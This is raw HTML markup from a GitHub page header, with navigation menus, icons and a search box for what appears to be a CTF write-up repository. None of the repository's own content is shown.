<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="100902368" data-scoped-search-url="/DhavalKapil/ctf-writeups/search" data-owner-scoped-search-url="/users/DhavalKapil/search" data-unscoped-search-url="/search" data-turbo="false" action="/DhavalKapil/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="bcR3+JXcfguUVfxxCIwKvE5dMQZfZpahqAUg2UceVuOaoD0+czkjNivnzePnS+P2t6ZBAqxmHNzXPhC60soJ4A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
